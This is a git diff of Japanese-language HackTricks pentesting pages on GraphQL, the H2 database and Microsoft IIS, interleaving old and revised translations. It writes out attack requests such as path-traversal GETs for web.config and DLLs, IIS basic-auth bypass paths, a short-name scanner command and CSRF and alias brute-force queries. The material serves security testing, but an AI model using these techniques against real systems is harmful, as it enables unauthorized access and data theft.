- -GraphQLリクエストは通常、Content-Typeが\*\*`application/json`\*\*で送信されるPOSTリクエストを使用します。 +そこでは、**CSRFトークンなしで構成された**いくつかのGraphQLエンドポイントを見つけることができます。 +GraphQLリクエストは通常、Content-Typeが**`application/json`**でPOSTリクエスト経由で送信されます。 ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` - -しかし、ほとんどのGraphQLエンドポイントは\*\*`form-urlencoded` POSTリクエスト\*\*もサポートしています: - +しかし、ほとんどのGraphQLエンドポイントは**`form-urlencoded` POSTリクエスト**もサポートしています: ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` +したがって、前述のようなCSRFリクエストは**事前リクエストなし**で送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。 -したがって、前述のようなCSRFリクエストは**プリフライトリクエストなし**で送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。 - -ただし、Chromeの`SameSite`フラグの新しいデフォルトCookie値は`Lax`です。これは、CookieがサードパーティのWebからのGETリクエストでのみ送信されることを意味します。 +ただし、Chromeの`samesite`フラグの新しいデフォルトCookie値は`Lax`です。これは、Cookieが第三者のWebからのGETリクエストでのみ送信されることを意味します。 また、**クエリリクエスト**を**GETリクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。 @@ -454,10 +424,9 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A エンドポイントで定義された多くのGraphQL関数は、リクエスト元の認証のみをチェックし、認可を行わない場合があります。 -クエリ入力変数の変更により、機密なアカウント詳細が[**漏洩**](https://hackerone.com/reports/792927)する可能性があります。 - -変異は、他のアカウントデータを変更しようとすることで、アカウント乗っ取りにつながる可能性さえあります。 +クエリ入力変数の変更は、機密なアカウント詳細が[**漏洩**](https://hackerone.com/reports/792927)する可能性があります。 +変異は、他のアカウントデータを変更しようとするアカウント乗っ取りにつながる可能性さえあります。 ```javascript { "operationName":"updateProfile", @@ -465,12 +434,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` - ### GraphQLでの認証のバイパス -[クエリを連鎖させる](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)ことで、弱い認証システムをバイパスできます。 +[クエリを連鎖させる](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) ことで、弱い認証システムをバイパスすることができます。 -以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行すべきであることがわかります。これは、末尾にクエリを追加することでバイパスできます。この場合、「register」を追加し、新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 +以下の例では、操作が "forgotPassword" であり、それに関連付けられたforgotPasswordクエリのみを実行すべきであることがわかります。これは、末尾にクエリを追加することでバイパスできます。この場合、"register"を追加し、新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
@@ -480,10 +448,9 @@ GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパ GraphQLエイリアスの詳細な理解のためには、次のリソースが推奨されます: [エイリアス](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するという意図しないユースケースが特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターで保護されているため可能です。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエスト内に複数のクエリを含めることができるため、このようなレート制限措置を回避できます。 - -以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しており、この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。 +エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するために利用されることが特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターによって保護されている可能性があるためです。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエストに複数のクエリを含めることができるため、このようなレート制限措置を回避することができます。 +以下に示す例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しています。この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。 ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -498,7 +465,6 @@ valid } } ``` - ## ツール ### 脆弱性スキャナー @@ -507,7 +473,7 @@ valid * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは[Burp拡張機能](https://github.com/doyensec/inql)として使用できます。 * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLIクライアントとしても使用でき、攻撃を自動化するためにも使用できます。 * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQLスキーマ内の特定のタイプに到達する異なる方法をリストするツール。 -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度なGraphQLテスト用のBurp拡張機能。 _**Scanner**_ はInQL v5.0のコアであり、GraphQLエンドポイントまたはローカルの自己紹介スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 _**Attacker**_ コンポーネントを使用すると、バッチGraphQL攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。 +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度なGraphQLテスト用のBurp拡張機能。 _**Scanner**_ はInQL v5.0のコアであり、GraphQLエンドポイントまたはローカルの内省スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 _**Attacker**_ コンポーネントを使用すると、バッチGraphQL攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。 ### クライアント @@ -532,14 +498,14 @@ valid
-htARTE (HackTricks AWS Red Team Expert) htARTEでAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、ハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 6090348a9..1b6a5cefe 100644 --- a/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出する。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
@@ -18,21 +18,21 @@ HackTricks をサポートする他の方法: ## アクセス -**存在しないデータベース名**を指定して、**有効な資格情報なしで新しいデータベースを作成**することができます(**認証なし**): +**有効な資格情報なしで新しいデータベースを作成**するために、**存在しないデータベース名**を指定できます(**未認証**): -![](<../../.gitbook/assets/image (258).png>) +![](<../../.gitbook/assets/image (131).png>) -または、たとえば **mysql が実行されていることを知っていて**、そのデータベースの**名前**と**資格情報**を知っている場合、単にアクセスできます: +または、例えば **mysql が実行されていることを知っていて**、そのデータベースの**データベース名**と**資格情報**を知っている場合、単にアクセスできます: -![](<../../.gitbook/assets/image (259).png>) +![](<../../.gitbook/assets/image (201).png>) -_**HTBの Hawk ボックスからのトリック。**_ +_**HTBのHawkボックスからのトリック。**_ ## **RCE** -H2 データベースと通信するアクセス権がある場合、次のエクスプロイトを使用して RCE を取得できます: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) +H2データベースと通信するアクセス権がある場合、このエクスプロイトをチェックしてRCEを取得できます: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) -## H2 SQL Injection to RCE +## H2 SQLインジェクションからRCEへ [**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得**するためのペイロードが説明されています。 ```json @@ -49,12 +49,12 @@ H2 データベースと通信するアクセス権がある場合、次のエ AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 882df36ea..c9cef56ae 100644 --- a/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -2,47 +2,47 @@
-**htARTE(HackTricks AWS Red Team Expert)** **を使って、ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)** から **ゼロからヒーローまでAWSハッキングを学ぶ** -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io) は **ダークウェブ** で活動する検索エンジンで、**盗難型マルウェア** による **企業や顧客の侵害** をチェックするための **無料** 機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** -テスト実行可能なファイル拡張子: +テスト可能な実行ファイルの拡張子: -- asp -- aspx -- config -- php +* asp +* aspx +* config +* php ## 内部IPアドレスの漏洩 -302を受け取るIISサーバーでは、Hostヘッダーを削除してHTTP/1.0を使用し、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります: +302を受け取る任意のIISサーバーで、Hostヘッダーを削除してHTTP/1.0を使用し、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` -内部IPを開示する応答: +内部IPを開示するレスポンス: ``` GET / HTTP/1.0 @@ -55,17 +55,17 @@ X-FEServer: NHEXCHANGE2016 ``` ## .configファイルの実行 -.configファイルをアップロードしてコードを実行することができます。その方法の1つは、HTMLコメント内にコードをファイルの末尾に追加することです:[ここから例をダウンロード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +.configファイルをアップロードして、コードを実行することができます。その方法の1つは、ファイルの末尾にコードをHTMLコメント内に追加することです:[ここから例をダウンロード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -この脆弱性を悪用するための詳細な情報やテクニックは[こちら](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +この脆弱性を悪用するための詳細やテクニックについては、[こちら](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)を参照してください。 ## IISディスカバリーブルートフォース -作成したリストをダウンロードしてください: +私が作成したリストをダウンロードしてください: {% file src="../../.gitbook/assets/iisfinal.txt" %} -このリストは、以下のリストの内容をマージして作成されました: +以下のリストの内容をマージして作成されました: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ @@ -74,25 +74,25 @@ X-FEServer: NHEXCHANGE2016 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -拡張子を追加せずに使用してください。必要なファイルにはすでに拡張子が付いています。 +拡張子を追加せずに使用してください。必要なファイルにはすでに追加されています。 ## パストラバーサル ### ソースコードの漏洩 -詳細な解説はこちらを参照してください:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +以下の完全な解説をチェックしてください:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% hint style="info" %} -要約すると、アプリケーションのフォルダ内には、"assemblyIdentity"ファイルや"namespaces"への参照が含まれる複数のweb.configファイルがあります。この情報を使用すると、**実行可能ファイルがどこにあるか**を知ることができます。\ -**ダウンロードしたDlls**からは、**新しい名前空間**を見つけることができ、アクセスしてweb.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることができます。\ -また、ファイル**connectionstrings.config**と**global.asax**には興味深い情報が含まれているかもしれません。\ +要約すると、アプリケーションのフォルダ内には、"assemblyIdentity"ファイルと"namespaces"への参照が含まれる複数のweb.configファイルがあります。この情報を使用すると、**実行可能ファイルの場所**を知ることができ、それらをダウンロードできます。\ +**ダウンロードしたDll**からは、**新しい名前空間**を見つけることができ、アクセスしてweb.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることができます。\ +また、ファイル**connectionstrings.config**と**global.asax**には興味深い情報が含まれている場合があります。 {% endhint %} **.Net MVCアプリケーション**では、**web.config**ファイルが、**"assemblyIdentity"** XMLタグを介してアプリケーションが依存する各バイナリファイルを指定する重要な役割を果たします。 ### **バイナリファイルの探索** -以下に、**web.config**ファイルへのアクセス例を示します: +以下に、**web.config**ファイルへのアクセス例が示されています: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded @@ -103,31 +103,31 @@ Host: example-mvc-application.minded * web ページ、クライアント検証、JavaScript の **AppSettings** * 認証とランタイムのための **System.web** 構成 * **System.webServer** モジュールの設定 -* **Microsoft.Owin**、**Newtonsoft.Json**、**System.Web.Mvc** などの多くのライブラリに対する **Runtime** アセンブリのバインディング +* **Microsoft.Owin**、**Newtonsoft.Json**、**System.Web.Mvc** などの多くのライブラリのための **Runtime** アセンブリのバインディング -これらの設定により、**/bin/WebGrease.dll** などの特定のファイルがアプリケーションの /bin フォルダーに配置されていることが示されます。 +これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダに存在することを示しています。 ### **ルートディレクトリのファイル** -**/global.asax** や **/connectionstrings.config**(機密性の高いパスワードが含まれる)など、ルートディレクトリにあるファイルは、アプリケーションの構成と動作に不可欠です。 +**/global.asax** や**/connectionstrings.config**(機密性の高いパスワードが含まれる)など、ルートディレクトリにあるファイルは、アプリケーションの構成と動作に不可欠です。 ### **名前空間と Web.Config** -MVC アプリケーションでは、各ファイルでの繰り返し宣言を避けるために、特定の名前空間用の追加の **web.config ファイル** も定義されています。別の **web.config** をダウンロードするリクエストの例が示されています。 +MVC アプリケーションでは、各ファイルでの繰り返し宣言を避けるために、特定の名前空間用の追加の **web.config ファイル** も定義されています。別の **web.config** をダウンロードするリクエストの例を示します: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLLのダウンロード** -カスタム名前空間の言及は、/binディレクトリに存在する "**WebApplication1**" というDLLを示しています。これに続いて、**WebApplication1.dll** をダウンロードするリクエストが表示されます: +カスタム名前空間の言及は、/binディレクトリに存在する "**WebApplication1**" というDLLを示しています。これに続いて、**WebApplication1.dll** をダウンロードするリクエストが表示されます: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` これは、/binディレクトリに**System.Web.Mvc.dll**や**System.Web.Optimization.dll**などの他の重要なDLLが存在している可能性を示しています。 -DLLが**WebApplication1.Areas.Minded**という名前空間をインポートするシナリオでは、攻撃者は他のweb.configファイルが予測可能なパス(たとえば**/area-name/Views/**)に存在することを推測する可能性があります。これらのweb.configファイルには/binフォルダ内の他のDLLへの特定の構成と参照が含まれています。たとえば、**/Minded/Views/web.config**へのリクエストは、別のDLLである**WebApplication1.AdditionalFeatures.dll**の存在を示す構成と名前空間を明らかにする可能性があります。 +DLLが**WebApplication1.Areas.Minded**という名前空間をインポートするシナリオでは、攻撃者は**/area-name/Views/**などの予測可能なパスに他のweb.configファイルが存在することを推測する可能性があります。これらのファイルには/binフォルダ内の他のDLLへの特定の構成と参照が含まれています。例えば、**/Minded/Views/web.config**へのリクエストは、**WebApplication1.AdditionalFeatures.dll**という別のDLLの存在を示す構成と名前空間を明らかにする可能性があります。 ### 一般的なファイル @@ -212,39 +212,39 @@ C:\xampp\tomcat\conf\server.xml もし以下のようなエラーが表示された場合: -![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) それはサーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\ Webページにアクセスするためには、提供された**SSL証明書**を確認して、そこにドメイン/サブドメイン名が見つかるかもしれません。見つからない場合は、**正しいものを見つけるまでVHostsをブルートフォース**する必要があります。 -## 古いIISの脆弱性の価値がある +## 古いIISの脆弱性の調査価値 -### Microsoft IISチルダ文字“\~”脆弱性/機能–短いファイル/フォルダ名の開示 +### Microsoft IISチルダ文字“\~”脆弱性/機能 – 短いファイル/フォルダ名の開示 -この**技術**を使用して、発見された各フォルダ内のフォルダとファイルを**列挙**してみることができます(基本認証が必要な場合でも)。\ -この技術の主な制限は、サーバーが脆弱である場合に**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字までしか見つけることができない**ことです。 +この**技術**を使用して、発見された各フォルダ内のフォルダとファイルを**列挙**できます(基本認証が必要な場合でも)。\ +この技術の主な制限は、サーバーが脆弱である場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字までしか見つけることができない**ことです。 この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` -![](<../../.gitbook/assets/image (841).png>) +![](<../../.gitbook/assets/image (844).png>) -元の研究:[https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) +元の研究: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) **Metasploit**も使用できます:`use scanner/http/iis_shortname_scanner` ### 基本認証バイパス -**基本認証(IIS 7.5)**をバイパスして、次のようにアクセスを試みます:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php` +**基本認証**(IIS 7.5)をバイパスして、次のようにアクセスを試みます:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php` この脆弱性と前述のものを組み合わせて、新しい**フォルダ**を見つけて**認証をバイパス**することができます。 -## ASP.NET Trace.AXD有効なデバッグ +## ASP.NET Trace.AXDを有効にしたデバッグ ASP.NETにはデバッグモードがあり、そのファイルは`trace.axd`と呼ばれます。 これは、一定期間にわたってアプリケーションに対して行われたすべてのリクエストの非常に詳細なログを保持します。 -この情報には、リモートクライアントのIP、セッションID、すべてのリクエストとレスポンスのクッキー、物理パス、ソースコード情報、そして潜在的にはユーザー名とパスワードさえ含まれる可能性があります。 +この情報には、リモートクライアントのIP、セッションID、すべてのリクエストとレスポンスのクッキー、物理パス、ソースコード情報、そして潜在的にはユーザー名とパスワードさえ含まれています。 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -252,19 +252,19 @@ ASP.NETにはデバッグモードがあり、そのファイルは`trace.axd` ## ASPXAUTH Cookie -ASPXAUTHは以下の情報を使用します: +ASPXAUTHは次の情報を使用します: * **`validationKey`**(文字列):署名検証に使用する16進数エンコードされたキー。 * **`decryptionMethod`**(文字列):(デフォルトは“AES”)。 * **`decryptionIV`**(文字列):16進数エンコードされた初期化ベクトル(ゼロのベクトルがデフォルト)。 -* **`decryptionKey`**(文字列):復号化に使用する16進数エンコードされたキー。 +* **`decryptionKey`**(文字列):復号に使用する16進数エンコードされたキー。 -ただし、これらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**する人もいます。したがって、攻撃対象のサーバーで**偽装したいユーザーのメールを持つユーザーを作成**し、ASPXAUTHクッキーを使用して第二のサーバーから第一のサーバーに**ユーザーを偽装**することができるかもしれません。\ -この攻撃はこの[**解説**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。 +ただし、これらのパラメータの**デフォルト値**を使用し、**ユーザーのメールアドレスをクッキーとして使用**する人もいます。したがって、攻撃対象のサーバーで**偽のユーザーを作成**し、そのサーバーでASPXAUTHクッキーを使用して**ユーザーをなりすます**ことができるかもしれません。\ +この攻撃は、この[**解説**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。 -## キャッシュされたパスワードを使用したIIS認証バイパス(CVE-2022-30209) +## キャッシュされたパスワードを使用したIIS認証バイパス(CVE-2022-30209) -[完全なレポートはこちら](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグが、ユーザーが提供したパスワードを適切にチェックしなかったため、**パスワードハッシュがすでにキャッシュにあるキーに一致する**攻撃者はそのユーザーとしてログインできるようになります。 +[完全なレポートはこちら](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードにあるバグは、ユーザーが提供したパスワードを適切にチェックしなかったため、**パスワードハッシュがすでにキャッシュにあるキーに一致する**攻撃者はそのユーザーとしてログインできるようになります。 ```python # script for sanity check > type test.py @@ -286,26 +286,26 @@ HTTP/1.1 200 OK ``` ### [WhiteIntel](https://whiteintel.io) -
+
